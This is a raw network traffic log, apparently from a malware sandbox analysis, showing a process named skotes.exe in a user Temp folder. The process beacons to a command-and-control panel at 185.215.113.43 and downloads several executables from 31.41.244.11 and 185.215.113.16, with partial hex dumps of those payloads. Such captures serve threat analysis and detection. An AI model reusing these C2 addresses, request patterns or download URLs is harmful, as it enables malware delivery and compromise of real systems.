Nov 30, 2024 18:08:10.222976923 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 30, 2024 18:08:12.515664101 CET	1082	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 17:08:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 33 37 62 0d 0a 20 3c 63 3e 31 30 31 30 36 39 38 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 61 32 37 63 30 31 35 31 65 65 64 30 30 62 35 31 62 31 30 30 33 35 36 62 39 63 61 63 31 31 35 62 63 61 31 39 61 35 35 33 36 65 36 23 31 30 31 30 37 30 36 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 61 32 37 63 30 31 35 31 65 65 64 30 30 62 35 31 62 31 30 30 33 37 30 62 32 65 64 62 36 30 30 61 31 66 35 39 61 35 35 33 36 65 36 23 31 30 31 30 37 31 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 31 30 37 31 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 [TRUNCATED] Data Ascii: 37b <c>1010698001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9a27c0151eed00b51b100356b9cac115bca19a5536e6#1010706001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9a27c0151eed00b51b100370b2edb600a1f59a5536e6#1010714001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1010715001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1010716001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1010717001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#1010718001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb02ab5e45425197d1aa1daaa8#1010719001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb01ab5e45425197d1aa1daaa8#1010720001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc67e805545b01cf64d4a485a9592e100b7#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49775	31.41.244.11	80	2640	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 18:08:12.643426895 CET	66	OUT	GET /files/1824233174/cAvEmnl.exe HTTP/1.1 Host: 31.41.244.11
Nov 30, 2024 18:08:14.041142941 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 17:08:13 GMT Content-Type: application/octet-stream Content-Length: 52736 Last-Modified: Sat, 30 Nov 2024 15:47:02 GMT Connection: keep-alive ETag: "674b3376-ce00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 72 30 4b 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 8a 00 00 00 40 00 00 00 00 00 00 0a 60 00 00 00 60 00 00 00 20 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 01 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 94 00 00 57 00 00 00 00 20 01 00 ce 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 01 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELr0Kg@`` @ `@TW @`HU@7'@6 8@XejnR`< `.text> `.rsrc @@.reloc@@B
Nov 30, 2024 18:08:14.041383028 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e2 f0 ef 14 c7 f1 1b 7e 6b 55 bc b7 0c bf f6 db 6b ba 1f 6a a7 d7 95 e3 3c c3 2b 0c aa Data Ascii: ~kUkj<+GsxnwE`VQ~.3\RLRt2z'Ew%bDBMa6}Cjz3k(2N u\|@Am23IUi]+,zJ
Nov 30, 2024 18:08:14.041393995 CET	1236	IN	Data Raw: b9 83 ce 58 b8 b7 9e ab 59 31 2d cc cd ac b8 e4 6f c0 22 68 8c 39 9d 1d 21 27 5d 4f 01 d0 ac fd 70 2d 71 6e 93 bb b2 46 53 27 b1 bb 16 62 d3 69 c9 07 b6 e5 de d2 8e 82 12 f4 54 35 34 ab 16 06 e6 e2 f0 13 f6 d4 a9 4b 97 4a 5f 8d 33 c5 e0 9f ad df Data Ascii: XY1-o"h9!']Op-qnFS'biT54KJ_3`#A^R?8)/@\|l{$&<P}q>23)cBI[I-y\|s/Y=#D96\Z)f\|a;@:N/=EqeN%/;JL'r{]^
Nov 30, 2024 18:08:14.041790009 CET	1236	IN	Data Raw: 5c 35 3b d3 6d 38 87 8d 05 c4 e9 75 d1 10 89 87 82 e9 91 e6 04 e3 cc 03 95 9e 00 86 35 96 1d bb 81 3b 9b 15 dd 26 61 3b 88 7b 4c 6e 8d c5 24 d4 5e 24 d1 cb d2 f5 f6 ca c1 5f 8a 51 47 49 ce b9 8b 5f 77 9a bd 46 87 1d 43 dd 1b 20 1f 3d c3 13 c3 02 Data Ascii: \5;m8u5;&a;{Ln$^$_QGI_wFC =<Udv^/#)=[PhEUk\Vgrn"nc;;cHiXLa\)/}GAa3p%o<5-\O9<!@BaBRuQ
Nov 30, 2024 18:08:14.041807890 CET	1236	IN	Data Raw: ef 58 49 b9 f8 9d e0 8a 07 53 27 5b 74 dc 70 e1 f2 23 ef dd 46 58 a7 3c 35 d0 a6 af 97 6a 1d 81 33 fa 78 74 7d 41 15 55 77 7f be fe 68 3e 02 61 fe f0 5a 0d c8 3d 82 ac 3a fa 74 f5 7b 17 66 21 27 49 71 74 36 b6 0e 6c 45 77 7f 14 b2 b9 98 9c 30 2e Data Ascii: XIS'[tp#FX<5j3xt}AUwh>aZ=:t{f!'Iqt6lEw0.rUO7v\|/P0-'f<pgx0_b%x$]M?T7;wiXu\|!{9~"k7lqO_n` B8=xC0sR
Nov 30, 2024 18:08:14.042654037 CET	672	IN	Data Raw: 9d 15 29 c6 cf 1b c1 52 30 ef 25 71 cc be fc 6a f8 e3 fa 64 98 cc 82 f0 52 21 67 f3 2f 66 47 db 38 34 1b bc 3b 69 87 53 73 15 7a 72 78 24 f1 12 76 01 17 5e ee 4c 43 b1 93 d6 91 6f 25 26 d7 c7 da 28 7b 81 0d 35 f9 0d 6e 08 4e 2c 0a 7c 8f 26 17 c0 Data Ascii: )R0%qjdR!g/fG84;iSszrx$v^LCo%&({5nN,\|&" mfog3Uwy.e<?(g e)ABSN!K6KGMJGieQ#2G9UA>ga6GB2Z}IF0r@Y miB2`*7Q,
Nov 30, 2024 18:08:14.042665958 CET	1236	IN	Data Raw: 88 e8 3a 7d 84 a7 bf ee 37 ba fc ed 29 37 f5 18 48 96 94 d7 cc 18 50 65 33 83 89 ab b7 0d 5c 3d 9b d4 0b 55 a9 46 ef 45 ba f1 87 c9 3c 4e ac 1a b8 e0 47 c3 17 41 87 a7 51 b9 a3 bc 25 b0 61 dd 4b b6 4b 9c c2 c0 ed db 24 d6 24 d9 4f 25 1d d4 8f 87 Data Ascii: :}7)7HPe3\=UFE<NGAQ%aKK$$O%q7t&yBI5Xpzi:b`cUsWL:(QqMN#&bB0S.qH?]b3o%OxL;YxAy9'`StnlK\|5
Nov 30, 2024 18:08:14.042674065 CET	224	IN	Data Raw: 46 03 8c 12 09 a1 fd f2 c8 31 b7 82 09 80 36 c9 06 45 81 22 e5 dd 82 53 ff be a0 96 eb 4a db 5d ce b9 4f 8c 3b e5 cc d2 1b 98 18 cd 34 eb 0f ce 3b 29 07 2d e0 68 b1 41 48 c6 42 fc 3a c4 8b df 8f 14 b2 d5 dc bd 4a 16 06 4a d5 3a 6f 20 5e 84 4e 78 Data Ascii: F16E"SJ]O;4;)-hAHB:JJ:o ^Nx$.{T)1pwMoYF:yB)t}Q2Cc?Zk})=4nZT=MG'xV0JNL\|%\|TBoq
Nov 30, 2024 18:08:14.043595076 CET	1236	IN	Data Raw: c1 4e 0e c4 ea e7 4f b6 9c e5 96 65 84 f3 19 b0 04 6c 79 19 55 40 29 73 64 b3 a6 52 8c 19 02 07 46 8b 43 05 86 e4 4c 01 3e 95 4d 71 3e 67 5c 8b ba b3 ad 27 a0 03 b7 34 eb b6 09 3e 30 5b 91 3b 65 71 20 6a 00 ba 78 71 d0 d8 86 68 c7 0c 42 7a 51 f7 Data Ascii: NOelyU@)sdRFCL>Mq>g\'4>0[;eq jxqhBzQ)Grbpu&F1g\8j,#/#Boe=.tF5~-Z-v:W6g`zO#Xf~[eHZ5[C<8m
Nov 30, 2024 18:08:14.043606997 CET	1236	IN	Data Raw: 93 88 b3 79 df ed 68 e0 32 27 f7 67 dc 7d 43 ae 8f 0f 53 dc 5a c9 9e c9 92 a8 a0 c0 a0 54 fa 80 a9 45 b4 9c 92 f3 55 4e 4f 8e 9e 26 42 e4 25 19 65 0f c4 8f 21 db a4 e2 25 81 30 0d 0a 5f 9f ed d4 03 ca 20 05 2e 5e 9b 70 46 bd 32 0e 8f 15 66 cd 28 Data Ascii: yh2'g}CSZTEUNO&B%e!%0_ .^pF2f(5R{g^~/3MJYXVw4R(RVU${=!P[z6%}*@%clv<=}O5 [AzF'bv/{P('>Nq1^iKR}>@Te
Nov 30, 2024 18:08:14.161168098 CET	1236	IN	Data Raw: 80 cb 04 3a 5b de c4 71 9d 84 f1 f8 b4 60 75 33 3f 0e 09 9e 39 e5 5b 93 df 54 3d 70 89 28 aa 74 57 2d 1b 5b 3d 0e f8 90 a2 10 47 02 e9 ee 10 f7 4f 65 a4 4b 0c 72 68 51 1c 38 13 b0 b4 b4 42 91 bc e4 2c f2 8c 85 25 28 db ed 0f 39 f0 79 9d ef 68 33 Data Ascii: :[q`u3?9[T=p(tW-[=GOeKrhQ8B,%(9yh3%q$Dom+WFI/' Lo"P~sZ/k}w{To?_T.b3D@I0nHU5MLXS2>h15_6N1Rn\|\|$SEm@d8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49784	185.215.113.43	80	2640	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 18:08:16.743302107 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 30 36 39 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010698001&unit=246122658369

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49805	31.41.244.11	80	2640	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 18:08:25.881870985 CET	66	OUT	GET /files/1824233174/EJQ2xs8.exe HTTP/1.1 Host: 31.41.244.11
Nov 30, 2024 18:08:27.266585112 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 17:08:27 GMT Content-Type: application/octet-stream Content-Length: 1723904 Last-Modified: Sat, 30 Nov 2024 16:06:35 GMT Connection: keep-alive ETag: "674b380b-1a4e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 72 30 4b 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 7e 00 00 00 08 00 00 00 00 00 00 00 20 44 00 00 20 00 00 00 a0 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 44 00 00 04 00 00 ef b3 1a 00 02 00 40 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 c0 00 00 69 00 00 00 00 a0 00 00 38 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 c1 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELr0Kg~ D @ `D@Ui8 @ @.rsrc8`@.idata d@ `)f@dvpnmyli@*h@lhlewnhz D(@.taggant@ D",@
Nov 30, 2024 18:08:27.266836882 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 18:08:27.266845942 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 18:08:27.267103910 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 18:08:27.267115116 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 18:08:27.267925024 CET	672	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 18:08:27.267935991 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 18:08:27.267940044 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 18:08:27.268619061 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 18:08:27.268627882 CET	224	IN	Data Raw: 0f 77 8a c7 af 52 97 83 59 76 73 a7 01 52 5f 6e 8e ba 64 8c cb 31 70 ba 00 94 53 89 f9 56 7d 17 8c d4 44 63 6d 4e 54 a4 e6 51 cb 89 f4 33 91 32 08 eb 74 96 05 38 69 69 20 95 ca 67 c3 78 6a 0b f8 1c 4b 8c a2 bc 41 a0 06 7c 5f ec cb 4d 8d 8c c8 fa Data Ascii: wRYvsR_nd1pSV}DcmNTQ32t8ii gxjKA\|_MhmKlMzu]\{tMM6whtmf&ZUIX~w\|gMoOL2y9wMe\vH1\|A\|nmePVqoy
Nov 30, 2024 18:08:27.387670994 CET	1236	IN	Data Raw: d4 fb f0 64 d5 8f 78 f5 69 29 6a b5 d6 71 f6 b6 f7 55 fb b4 d1 b3 71 e8 9f 54 66 e8 c3 72 3b 96 f3 bc f7 65 52 57 52 94 cd b8 59 d4 2d 9d ae c4 c5 eb b8 70 25 5e 16 6f e9 73 5a f0 b3 74 96 e3 00 75 81 5b 26 bb 70 65 28 ef 39 68 08 26 39 6e ec 7b Data Ascii: dxi)jqUqTfr;eRWRY-p%^osZtu[&pe(9h&9n{uhyout}gXyx`K[LCEsDUt<<w>:xeuuW^\|t9`%3xms}I:&B5qHzTupofxk~a`\|g\|hV3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49820	185.215.113.43	80	2640	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 18:08:32.724701881 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 30 37 30 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010706001&unit=246122658369
Nov 30, 2024 18:08:34.188195944 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 17:08:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49823	185.215.113.16	80	2640	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 18:08:34.316881895 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49837	185.215.113.16	80	2640	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 18:08:39.529777050 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 30, 2024 18:08:40.968208075 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 17:08:40 GMT Content-Type: application/octet-stream Content-Length: 1848320 Last-Modified: Sat, 30 Nov 2024 16:25:11 GMT Connection: keep-alive ETag: "674b3c67-1c3400" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 42 33 47 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 e6 03 00 00 c0 00 00 00 00 00 00 00 60 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 49 00 00 04 00 00 64 8a 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 60 05 00 70 00 00 00 00 50 05 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 61 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELB3Gg`I@Id@\`pPa @X@.rsrcPh@.idata `j@ @*pl@enyyijut/n@ijrsozmwPI@.taggant0`I"@
Nov 30, 2024 18:08:40.968367100 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 18:08:40.969157934 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 18:08:40.969377041 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 18:08:40.969386101 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 18:08:40.970120907 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 18:08:40.970364094 CET	1236	IN	Data Raw: 69 7d d3 32 6a 2c 80 52 93 0c 6b 35 ca 56 a6 f4 31 52 81 29 17 a1 0a 09 3b 09 46 f2 f1 c3 7f 8e 33 bb ba 6a 85 dd 86 19 4a b3 62 fd 9b 7c d3 18 2a c1 87 07 d8 0f 23 3d 3c 13 33 90 71 ff 7f 17 a8 4e 2f 3a 95 ba 64 c2 6c 16 6a f6 24 cb 76 56 58 63 Data Ascii: i}2j,Rk5V1R);F3jJb\|*#=<3qN/:dlj$vVXc@jR$0+#5ZPDAju>C)ZvV#4])TGlcz6tj-@@ZWWWYUOD.8,P3kXC?'BX
Nov 30, 2024 18:08:40.970372915 CET	248	IN	Data Raw: db f1 3f d5 74 e2 20 ca 01 46 3b 79 ea 7b 23 cf c4 c3 62 4a fe 1d bd 1a fa a0 b1 6d ee f5 e1 65 34 57 69 93 4c 0a c9 13 6c a0 84 56 cb ab 53 3e 70 93 06 46 0a 9b 52 cf ae 74 22 59 ab ff 77 8d 4a 97 c0 35 fc 92 12 c1 18 01 2d 57 ec 6f 77 62 48 fc Data Ascii: ?t F;y{#bJme4WiLlVS>pFRt"YwJ5-WowbH,2Dz!ly)7f4/%7uoCm{r^'$XUy=KwTshbB )"BI>H/f>uzo3k*nv0But@
Nov 30, 2024 18:08:40.970798016 CET	1236	IN	Data Raw: d3 9a e5 f5 e2 b2 f1 13 e6 27 67 f7 e8 24 3c 69 24 73 e1 3d 85 82 40 d7 90 c5 77 71 3c 19 9b a1 ab 5b 4b 35 83 dc 0f 97 7d eb 13 aa 8b fd 33 59 81 0f 31 23 ce 67 d0 e4 a9 ca 4c 36 ca 6a 4a 84 c1 0c 57 86 e9 24 2a b2 2f 88 4e e5 b8 ed ac 48 11 91 Data Ascii: 'g$<i$s=@wq<[K5}3Y1#gL6jJW$/NH9&.h.suxVS0(W>.%p?apD9ZMhXXMSG5MDKThdp'GpJobWC#KWNRXruA.n'
Nov 30, 2024 18:08:40.971182108 CET	1236	IN	Data Raw: 24 f5 15 e0 aa b4 a2 4e 2e 73 d2 ad c5 26 04 aa 5a f7 8a 03 19 bf da b9 0f 57 62 4d 06 5f 1b 91 60 a4 ac 57 b8 2e 45 d5 73 61 47 42 c0 6e 88 57 f0 0b 5b 23 90 74 d9 0a fc 91 92 07 92 51 d2 ad 2b a6 8a 78 65 ca 52 b0 fc c5 8a a6 72 86 50 2f 2e af Data Ascii: $N.s&ZWbM_`W.EsaGBnW[#tQ+xeRrP/.EX!tX)$;A#X'{+$SIU2e28j3Wbbwu! x2sSKE=Bm{9v#Q76U2(Vo>lD>O'm&.qL/-p>WA
Nov 30, 2024 18:08:41.171744108 CET	1236	IN	Data Raw: 70 96 7a 11 a0 66 43 6a a9 05 dc 99 9a 52 54 18 e5 a5 c1 10 62 a4 56 02 ac a6 48 7e 93 27 fa 94 70 db ed 18 48 06 c7 87 5d ca 6e a5 aa 6b 6f 4e 6b 06 6e d9 69 8d 39 12 38 e7 72 62 63 16 fb f9 2f 7b 37 f8 9b fc 66 d0 69 19 75 d4 90 5a 96 ef 29 f4 Data Ascii: pzfCjRTbVH~'pH]nkoNkni98rbc/{7fiuZ)E~>BbUmWJdhxf';'xNXQF[Zs@}zYF6jRr?diwlhYU6>@-7%0EUA==ovqk:~)q44

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49850	185.215.113.16	80	2640	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
